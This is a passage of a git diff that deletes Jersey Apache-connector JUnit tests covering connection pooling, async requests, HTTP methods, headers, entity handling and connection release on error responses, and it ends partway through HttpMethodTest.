-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.apache.http.HttpConnectionMetrics;
-import org.apache.http.HttpEntityEnclosingRequest;
-import org.apache.http.HttpException;
-import org.apache.http.HttpHost;
-import org.apache.http.HttpRequest;
-import org.apache.http.HttpResponse;
-import org.apache.http.conn.ClientConnectionManager;
-import org.apache.http.conn.ClientConnectionRequest;
-import org.apache.http.conn.ConnectionPoolTimeoutException;
-import org.apache.http.conn.HttpClientConnectionManager;
-import org.apache.http.conn.ManagedClientConnection;
-import org.apache.http.conn.routing.HttpRoute;
-import org.apache.http.conn.scheme.SchemeRegistry;
-import org.apache.http.impl.conn.BasicClientConnectionManager;
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
-import org.apache.http.params.HttpParams;
-import org.apache.http.protocol.HttpContext;
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-/**
- * @author Jakub Podlesak
- */
-public class HelloWorldTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
-    private static final String ROOT_PATH = "helloworld";
-
-    @Path("helloworld")
-    public static class HelloWorldResource {
-
-        public static final String CLICHED_MESSAGE = "Hello World!";
-
-        @GET
-        @Produces("text/plain")
-        public String getHello() {
-            return CLICHED_MESSAGE;
-        }
-
-        @GET
-        @Produces("text/plain")
-        @Path("error")
-        public Response getError() {
-            return Response.serverError().entity("Error.").build();
-        }
-
-        @GET
-        @Produces("text/plain")
-        @Path("error2")
-        public Response getError2() {
-            return Response.serverError().entity("Error2.").build();
-        }
-
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
-        config.register(new LoggingFeature(LOGGER, Level.INFO, LoggingFeature.Verbosity.PAYLOAD_ANY,
-                LoggingFeature.DEFAULT_MAX_ENTITY_SIZE));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Test
-    public void testConnection() {
-        Response response = target().path(ROOT_PATH).request("text/plain").get();
-        assertEquals(200, response.getStatus());
-    }
-
-    @Test
-    public void testClientStringResponse() {
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-    }
-
-    @Test
-    public void testConnectionPoolSharingEnabled() throws Exception {
-        _testConnectionPoolSharing(true);
-    }
-
-    @Test
-    public void testConnectionPoolSharingDisabled() throws Exception {
-        _testConnectionPoolSharing(false);
-    }
-
-    public void _testConnectionPoolSharing(final boolean sharingEnabled) throws Exception {
-
-        final HttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager();
-
-        final ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CONNECTION_MANAGER, connectionManager);
-        cc.property(ApacheClientProperties.CONNECTION_MANAGER_SHARED, sharingEnabled);
-        cc.connectorProvider(new ApacheConnectorProvider());
-
-        final Client clientOne = ClientBuilder.newClient(cc);
-        WebTarget target = clientOne.target(getBaseUri()).path(ROOT_PATH);
-        target.request().get();
-        clientOne.close();
-
-        final boolean exceptionExpected = !sharingEnabled;
-
-        final Client clientTwo = ClientBuilder.newClient(cc);
-        target = clientTwo.target(getBaseUri()).path(ROOT_PATH);
-        try {
-            target.request().get();
-            if (exceptionExpected) {
-                Assertions.fail("Exception expected");
-            }
-        } catch (Exception e) {
-            if (!exceptionExpected) {
-                Assertions.fail("Exception not expected");
-            }
-        } finally {
-            clientTwo.close();
-        }
-
-        if (sharingEnabled) {
-            connectionManager.shutdown();
-        }
-    }
-
-    @Test
-    public void testAsyncClientRequests() throws InterruptedException {
-        HttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager();
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CONNECTION_MANAGER, connectionManager);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget target = client.target(getBaseUri());
-        final int REQUESTS = 20;
-        final CountDownLatch latch = new CountDownLatch(REQUESTS);
-        final long tic = System.currentTimeMillis();
-        final Map<Integer, String> results = new ConcurrentHashMap<Integer, String>();
-        for (int i = 0; i < REQUESTS; i++) {
-            final int id = i;
-            target.path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() {
-                @Override
-                public void completed(Response response) {
-                    try {
-                        final String result = response.readEntity(String.class);
-                        results.put(id, result);
-                    } finally {
-                        latch.countDown();
-                    }
-                }
-
-                @Override
-                public void failed(Throwable error) {
-                    Logger.getLogger(HelloWorldTest.class.getName()).log(Level.SEVERE, "Failed on throwable", error);
-                    results.put(id, "error: " + error.getMessage());
-                    latch.countDown();
-                }
-            });
-        }
-        assertTrue(latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS));
-        final long toc = System.currentTimeMillis();
-        Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
-
-        StringBuilder resultInfo = new StringBuilder("Results:\n");
-        for (int i = 0; i < REQUESTS; i++) {
-            String result = results.get(i);
-            resultInfo.append(i).append(": ").append(result).append('\n');
-        }
-        Logger.getLogger(HelloWorldTest.class.getName()).info(resultInfo.toString());
-
-        for (int i = 0; i < REQUESTS; i++) {
-            String result = results.get(i);
-            assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
-        }
-    }
-
-    @Test
-    public void testHead() {
-        Response response = target().path(ROOT_PATH).request().head();
-        assertEquals(200, response.getStatus());
-        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
-    }
-
-    @Test
-    public void testFooBarOptions() {
-        Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals("foo/bar", response.getMediaType().toString());
-        assertEquals(0, response.getLength());
-    }
-
-    @Test
-    public void testTextPlainOptions() {
-        Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
-        final String responseBody = response.readEntity(String.class);
-        _checkAllowContent(responseBody);
-    }
-
-    private void _checkAllowContent(final String content) {
-        assertTrue(content.contains("GET"));
-        assertTrue(content.contains("HEAD"));
-        assertTrue(content.contains("OPTIONS"));
-    }
-
-    @Test
-    public void testMissingResourceNotFound() {
-        Response response;
-
-        response = target().path(ROOT_PATH + "arbitrary").request().get();
-        assertEquals(404, response.getStatus());
-        response.close();
-
-        response = target().path(ROOT_PATH).path("arbitrary").request().get();
-        assertEquals(404, response.getStatus());
-        response.close();
-    }
-
-    @Test
-    public void testLoggingFilterClientClass() {
-        Client client = client();
-        client.register(CustomLoggingFilter.class).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testLoggingFilterClientInstance() {
-        Client client = client();
-        client.register(new CustomLoggingFilter()).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testLoggingFilterTargetClass() {
-        WebTarget target = target().path(ROOT_PATH);
-        target.register(CustomLoggingFilter.class).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target.request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testLoggingFilterTargetInstance() {
-        WebTarget target = target().path(ROOT_PATH);
-        target.register(new CustomLoggingFilter()).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target.request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testConfigurationUpdate() {
-        Client client1 = client();
-        client1.register(CustomLoggingFilter.class).property("foo", "bar");
-
-        Client client = ClientBuilder.newClient(client1.getConfiguration());
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = client.target(getBaseUri()).path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    /**
-     * JERSEY-2157 reproducer.
-     * <p>
-     * The test ensures that entities of the error responses which cause
-     * WebApplicationException being thrown by a JAX-RS client are buffered
-     * and that the underlying input connections are automatically released
-     * in such case.
-     */
-    @Test
-    public void testConnectionClosingOnExceptionsForErrorResponses() {
-        final BasicClientConnectionManager cm = new BasicClientConnectionManager();
-        final AtomicInteger connectionCounter = new AtomicInteger(0);
-
-        final ClientConfig config = new ClientConfig().property(ApacheClientProperties.CONNECTION_MANAGER,
-                new ClientConnectionManager() {
-                    @Override
-                    public SchemeRegistry getSchemeRegistry() {
-                        return cm.getSchemeRegistry();
-                    }
-
-                    @Override
-                    public ClientConnectionRequest requestConnection(final HttpRoute route, final Object state) {
-                        connectionCounter.incrementAndGet();
-
-                        final ClientConnectionRequest wrappedRequest = cm.requestConnection(route, state);
-
-                        /**
-                         * To explain the following long piece of code:
-                         *
-                         * All the code does is to just create a wrapper implementations
-                         * for the AHC connection management interfaces.
-                         *
-                         * The only really important piece of code is the
-                         * {@link org.apache.http.conn.ManagedClientConnection#releaseConnection()} implementation,
-                         * where the connectionCounter is decremented when a managed connection instance
-                         * is released by AHC runtime. In our test, this is expected to happen
-                         * as soon as the exception is created for an error response
-                         * (as the error response entity gets buffered in
-                         * {@link org.glassfish.jersey.client.JerseyInvocation#convertToException(jakarta.ws.rs.core.Response)}).
-                         */
-                        return new ClientConnectionRequest() {
-                            @Override
-                            public ManagedClientConnection getConnection(long timeout, TimeUnit tunit)
-                                    throws InterruptedException, ConnectionPoolTimeoutException {
-
-                                final ManagedClientConnection wrappedConnection = wrappedRequest.getConnection(timeout, tunit);
-
-                                return new ManagedClientConnection() {
-                                    @Override
-                                    public boolean isSecure() {
-                                        return wrappedConnection.isSecure();
-                                    }
-
-                                    @Override
-                                    public HttpRoute getRoute() {
-                                        return wrappedConnection.getRoute();
-                                    }
-
-                                    @Override
-                                    public SSLSession getSSLSession() {
-                                        return wrappedConnection.getSSLSession();
-                                    }
-
-                                    @Override
-                                    public void open(HttpRoute route, HttpContext context, HttpParams params) throws IOException {
-                                        wrappedConnection.open(route, context, params);
-                                    }
-
-                                    @Override
-                                    public void tunnelTarget(boolean secure, HttpParams params) throws IOException {
-                                        wrappedConnection.tunnelTarget(secure, params);
-                                    }
-
-                                    @Override
-                                    public void tunnelProxy(HttpHost next, boolean secure, HttpParams params) throws IOException {
-                                        wrappedConnection.tunnelProxy(next, secure, params);
-                                    }
-
-                                    @Override
-                                    public void layerProtocol(HttpContext context, HttpParams params) throws IOException {
-                                        wrappedConnection.layerProtocol(context, params);
-                                    }
-
-                                    @Override
-                                    public void markReusable() {
-                                        wrappedConnection.markReusable();
-                                    }
-
-                                    @Override
-                                    public void unmarkReusable() {
-                                        wrappedConnection.unmarkReusable();
-                                    }
-
-                                    @Override
-                                    public boolean isMarkedReusable() {
-                                        return wrappedConnection.isMarkedReusable();
-                                    }
-
-                                    @Override
-                                    public void setState(Object state) {
-                                        wrappedConnection.setState(state);
-                                    }
-
-                                    @Override
-                                    public Object getState() {
-                                        return wrappedConnection.getState();
-                                    }
-
-                                    @Override
-                                    public void setIdleDuration(long duration, TimeUnit unit) {
-                                        wrappedConnection.setIdleDuration(duration, unit);
-                                    }
-
-                                    @Override
-                                    public boolean isResponseAvailable(int timeout) throws IOException {
-                                        return wrappedConnection.isResponseAvailable(timeout);
-                                    }
-
-                                    @Override
-                                    public void sendRequestHeader(HttpRequest request) throws HttpException, IOException {
-                                        wrappedConnection.sendRequestHeader(request);
-                                    }
-
-                                    @Override
-                                    public void sendRequestEntity(HttpEntityEnclosingRequest request)
-                                            throws HttpException, IOException {
-                                        wrappedConnection.sendRequestEntity(request);
-                                    }
-
-                                    @Override
-                                    public HttpResponse receiveResponseHeader() throws HttpException, IOException {
-                                        return wrappedConnection.receiveResponseHeader();
-                                    }
-
-                                    @Override
-                                    public void receiveResponseEntity(HttpResponse response) throws HttpException, IOException {
-                                        wrappedConnection.receiveResponseEntity(response);
-                                    }
-
-                                    @Override
-                                    public void flush() throws IOException {
-                                        wrappedConnection.flush();
-                                    }
-
-                                    @Override
-                                    public void close() throws IOException {
-                                        wrappedConnection.close();
-                                    }
-
-                                    @Override
-                                    public boolean isOpen() {
-                                        return wrappedConnection.isOpen();
-                                    }
-
-                                    @Override
-                                    public boolean isStale() {
-                                        return wrappedConnection.isStale();
-                                    }
-
-                                    @Override
-                                    public void setSocketTimeout(int timeout) {
-                                        wrappedConnection.setSocketTimeout(timeout);
-                                    }
-
-                                    @Override
-                                    public int getSocketTimeout() {
-                                        return wrappedConnection.getSocketTimeout();
-                                    }
-
-                                    @Override
-                                    public void shutdown() throws IOException {
-                                        wrappedConnection.shutdown();
-                                    }
-
-                                    @Override
-                                    public HttpConnectionMetrics getMetrics() {
-                                        return wrappedConnection.getMetrics();
-                                    }
-
-                                    @Override
-                                    public InetAddress getLocalAddress() {
-                                        return wrappedConnection.getLocalAddress();
-                                    }
-
-                                    @Override
-                                    public int getLocalPort() {
-                                        return wrappedConnection.getLocalPort();
-                                    }
-
-                                    @Override
-                                    public InetAddress getRemoteAddress() {
-                                        return wrappedConnection.getRemoteAddress();
-                                    }
-
-                                    @Override
-                                    public int getRemotePort() {
-                                        return wrappedConnection.getRemotePort();
-                                    }
-
-                                    @Override
-                                    public void releaseConnection() throws IOException {
-                                        connectionCounter.decrementAndGet();
-                                        wrappedConnection.releaseConnection();
-                                    }
-
-                                    @Override
-                                    public void abortConnection() throws IOException {
-                                        wrappedConnection.abortConnection();
-                                    }
-
-                                    @Override
-                                    public String getId() {
-                                        return wrappedConnection.getId();
-                                    }
-
-                                    @Override
-                                    public void bind(Socket socket) throws IOException {
-                                        wrappedConnection.bind(socket);
-                                    }
-
-                                    @Override
-                                    public Socket getSocket() {
-                                        return wrappedConnection.getSocket();
-                                    }
-                                };
-                            }
-
-                            @Override
-                            public void abortRequest() {
-                                wrappedRequest.abortRequest();
-                            }
-                        };
-                    }
-
-                    @Override
-                    public void releaseConnection(ManagedClientConnection conn, long keepalive, TimeUnit tunit) {
-                        cm.releaseConnection(conn, keepalive, tunit);
-                    }
-
-                    @Override
-                    public void closeExpiredConnections() {
-                        cm.closeExpiredConnections();
-                    }
-
-                    @Override
-                    public void closeIdleConnections(long idletime, TimeUnit tunit) {
-                        cm.closeIdleConnections(idletime, tunit);
-                    }
-
-                    @Override
-                    public void shutdown() {
-                        cm.shutdown();
-                    }
-                });
-        config.connectorProvider(new ApacheConnectorProvider());
-
-        final Client client = ClientBuilder.newClient(config);
-        final WebTarget rootTarget = client.target(getBaseUri()).path(ROOT_PATH);
-
-        // Test that connection is getting closed properly for error responses.
-        try {
-            final String response = rootTarget.path("error").request().get(String.class);
-            fail("Exception expected. Received: " + response);
-        } catch (InternalServerErrorException isee) {
-            // do nothing - connection should be closed properly by now
-        }
-
-        // Fail if the previous connection has not been closed automatically.
-        assertEquals(0, connectionCounter.get());
-
-        try {
-            final String response = rootTarget.path("error2").request().get(String.class);
-            fail("Exception expected. Received: " + response);
-        } catch (InternalServerErrorException isee) {
-            assertEquals("Error2.", isee.getResponse().readEntity(String.class), "Received unexpected data.");
-            // Test buffering:
-            // second read would fail if entity was not buffered
-            assertEquals("Error2.", isee.getResponse().readEntity(String.class), "Unexpected data in the entity buffer.");
-        }
-
-        assertEquals(0, connectionCounter.get());
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HttpEntityTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HttpEntityTest.java
deleted file mode 100644
index 9c33ade..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HttpEntityTest.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import org.apache.http.entity.ByteArrayEntity;
-import org.apache.http.entity.InputStreamEntity;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import java.io.ByteArrayInputStream;
-import java.util.logging.Logger;
-
-public class HttpEntityTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(HttpEntityTest.class.getName());
-    private static final String ECHO_MESSAGE = "ECHO MESSAGE";
-
-    @Path("/")
-    public static class Resource {
-        @POST
-        public String echo(String message) {
-            return message;
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(Resource.class)
-                .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Test
-    public void testInputStreamEntity() {
-        ByteArrayInputStream bais = new ByteArrayInputStream(ECHO_MESSAGE.getBytes());
-        InputStreamEntity entity = new InputStreamEntity(bais);
-
-        try (Response response = target().request().post(Entity.entity(entity, MediaType.APPLICATION_OCTET_STREAM))) {
-            Assertions.assertEquals(200, response.getStatus());
-            Assertions.assertEquals(ECHO_MESSAGE, response.readEntity(String.class));
-        }
-    }
-
-    @Test
-    public void testByteArrayEntity() {
-        ByteArrayEntity entity = new ByteArrayEntity(ECHO_MESSAGE.getBytes());
-
-        try (Response response = target().request().post(Entity.entity(entity, MediaType.APPLICATION_OCTET_STREAM))) {
-            Assertions.assertEquals(200, response.getStatus());
-            Assertions.assertEquals(ECHO_MESSAGE, response.readEntity(String.class));
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HttpHeadersTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HttpHeadersTest.java
deleted file mode 100644
index 41da2b3..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HttpHeadersTest.java
+++ /dev/null
@@ -1,133 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.io.IOException;
-import java.io.OutputStream;
-import java.lang.annotation.Annotation;
-import java.lang.reflect.Type;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.HeaderParam;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.WebApplicationException;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.MultivaluedMap;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.ext.MessageBodyWriter;
-import jakarta.ws.rs.ext.Provider;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.glassfish.jersey.test.TestProperties;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class HttpHeadersTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
-
-    @Path("/test")
-    public static class HttpMethodResource {
-
-        @POST
-        public String post(
-                @HeaderParam("Transfer-Encoding") String transferEncoding,
-                @HeaderParam("X-CLIENT") String xClient,
-                @HeaderParam("X-WRITER") String xWriter,
-                String entity) {
-            assertEquals("client", xClient);
-            if (transferEncoding == null || !transferEncoding.equals("chunked")) {
-                assertEquals("writer", xWriter);
-            }
-            return entity;
-        }
-    }
-
-    @Provider
-    @Produces("text/plain")
-    public static class HeaderWriter implements MessageBodyWriter<String> {
-
-        public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
-            return type == String.class;
-        }
-
-        public long getSize(String t, Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
-            return -1;
-        }
-
-        public void writeTo(String t,
-                            Class<?> type,
-                            Type genericType,
-                            Annotation[] annotations,
-                            MediaType mediaType,
-                            MultivaluedMap<String, Object> httpHeaders,
-                            OutputStream entityStream) throws IOException, WebApplicationException {
-            httpHeaders.add("X-WRITER", "writer");
-            entityStream.write(t.getBytes());
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        enable(TestProperties.LOG_TRAFFIC);
-        enable(TestProperties.DUMP_ENTITY);
-
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class, HeaderWriter.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.property(ClientProperties.READ_TIMEOUT, 1000).connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Test
-    public void testPost() {
-        WebTarget r = target("test");
-
-        Response cr = r.request().header("X-CLIENT", "client").post(Entity.text("POST"));
-        assertEquals(200, cr.getStatus());
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPostChunked() {
-        WebTarget r = target("test");
-
-        Response cr = r.request().header("X-CLIENT", "client").post(Entity.text("POST"));
-        assertEquals(200, cr.getStatus());
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HttpMethodTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HttpMethodTest.java
deleted file mode 100644
index c0743ef..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HttpMethodTest.java
+++ /dev/null
@@ -1,310 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-
-import jakarta.ws.rs.ClientErrorException;
-import jakarta.ws.rs.DELETE;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.HttpMethod;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.PUT;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
-import org.junit.jupiter.api.Test;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class HttpMethodTest extends JerseyTest {
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(HttpMethodResource.class, ErrorResource.class);
-    }
-
-    protected Client createClient() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        return ClientBuilder.newClient(cc);
-    }
-
-    protected Client createPoolingClient() {
-        ClientConfig cc = new ClientConfig();
-        PoolingHttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager();
-        connectionManager.setMaxTotal(100);
-        connectionManager.setDefaultMaxPerRoute(100);
-        cc.property(ApacheClientProperties.CONNECTION_MANAGER, connectionManager);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        return ClientBuilder.newClient(cc);
-    }
-
-    private WebTarget getWebTarget(final Client client) {
-        return client.target(getBaseUri()).path("test");
-    }
-
-    private WebTarget getWebTarget() {
-        return getWebTarget(createClient());
-    }
-
-    @Target({ElementType.METHOD})
-    @Retention(RetentionPolicy.RUNTIME)
-    @HttpMethod("PATCH")
-    public @interface PATCH {
-    }
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @POST
-        public String post(String entity) {
-            return entity;
-        }
-
-        @PUT
-        public String put(String entity) {
-            return entity;
-        }
-
-        @DELETE
-        public String delete() {
-            return "DELETE";
-        }
-
-        @DELETE
-        @Path("withentity")
-        public String delete(String entity) {
-            return entity;
-        }
-
-        @POST
-        @Path("noproduce")
-        public void postNoProduce(String entity) {
-        }
-
-        @POST
-        @Path("noconsumeproduce")
-        public void postNoConsumeProduce() {
-        }
-
-        @PATCH
-        public String patch(String entity) {
-            return entity;
-        }
-    }
-
-    @Test
-    public void testHead() {
-        WebTarget r = getWebTarget();
-        Response cr = r.request().head();
-        assertFalse(cr.hasEntity());
-    }
-
-    @Test
-    public void testOptions() {
-        WebTarget r = getWebTarget();
-        Response cr = r.request().options();
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testOptionsWithEntity() {
-        WebTarget r = getWebTarget();
-        Response response = r.request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
-        assertEquals(200, response.getStatus());
-        response.close();
-    }
-
-    @Test
-    public void testGet() {
-        WebTarget r = getWebTarget();
-        assertEquals("GET", r.request().get(String.class));
-
-        Response cr = r.request().get();
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPost() {
-        WebTarget r = getWebTarget();
-        assertEquals("POST", r.request().post(Entity.text("POST"), String.class));
-
-        Response cr = r.request().post(Entity.text("POST"));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPostChunked() {
-        ClientConfig cc = new ClientConfig()
-                .property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024)
-                .connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = getWebTarget(client);
-
-        assertEquals("POST", r.request().post(Entity.text("POST"), String.class));
-
-        Response cr = r.request().post(Entity.text("POST"));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPostVoid() {
